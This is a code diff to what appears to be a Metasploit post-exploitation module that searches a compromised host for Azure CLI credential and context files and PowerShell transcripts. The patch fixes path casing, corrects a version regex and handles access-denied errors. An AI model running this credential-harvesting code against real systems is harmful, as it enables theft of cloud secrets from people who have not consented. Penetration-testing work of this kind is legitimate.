@@ -85,8 +85,8 @@ def get_az_version
85
85
command = 'az --version'
86
86
command = "powershell.exe #{ command } " if session . platform == 'windows'
87
87
version_output = cmd_exec ( command , 60 )
88
- # https://rubular.com/r/wW02GJq51WDa0p
89
- version_output . match ( /azure-cli\s +[(] ?([\d .]+)[)] ?/ )
88
+ # https://rubular.com/r/IKvnY4f15Rfujx
89
+ version_output . match ( /azure-cli\s +\( ?([\d .]+)\) ?/ )
90
90
end
91
91
92
92
def run
@@ -118,7 +118,7 @@ def run
118
118
119
119
# ini file content, not json.
120
120
vprint_status ( ' Checking for config files' )
121
- %w[ .Azure\ config ] . each do |file_location |
121
+ %w[ .azure/ config ] . each do |file_location |
122
122
possible_location = ::File . join ( user_directory , file_location )
123
123
next unless exists? ( possible_location )
124
124
@@ -134,7 +134,7 @@ def run
134
134
end
135
135
136
136
vprint_status ( ' Checking for context files' )
137
- %w[ .Azure /AzureRmContext.json ] . each do |file_location |
137
+ %w[ .azure /AzureRmContext.json ] . each do |file_location |
138
138
possible_location = ::File . join ( user_directory , file_location )
139
139
next unless exists? ( possible_location )
140
140
@@ -161,7 +161,7 @@ def run
161
161
end
162
162
163
163
vprint_status ( ' Checking for profile files' )
164
- %w[ .Azure /azureProfile.json ] . each do |file_location |
164
+ %w[ .azure /azureProfile.json ] . each do |file_location |
165
165
possible_location = ::File . join ( user_directory , file_location )
166
166
next unless exists? ( possible_location )
167
167
@@ -216,7 +216,15 @@ def run
216
216
217
217
# https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4#description
218
218
vprint_status ( ' Checking for powershell transcript files' )
219
- dir ( "#{ user_directory } /Documents" ) . each do |file_name |
219
+
220
+ # Post failed: Rex::Post::Meterpreter::RequestError stdapi_fs_ls: Operation failed: Access is denied.
221
+ begin
222
+ files = dir ( "#{ user_directory } /Documents" )
223
+ rescue Rex ::Post ::Meterpreter ::RequestError
224
+ files = [ ]
225
+ end
226
+
227
+ files . each do |file_name |
220
228
next unless file_name =~ /PowerShell_transcript\. [\w _]+\. [^.]+\. \d +\. txt/
221
229
222
230
possible_location = "#{ user_directory } /Documents/#{ file_name } "
0 commit comments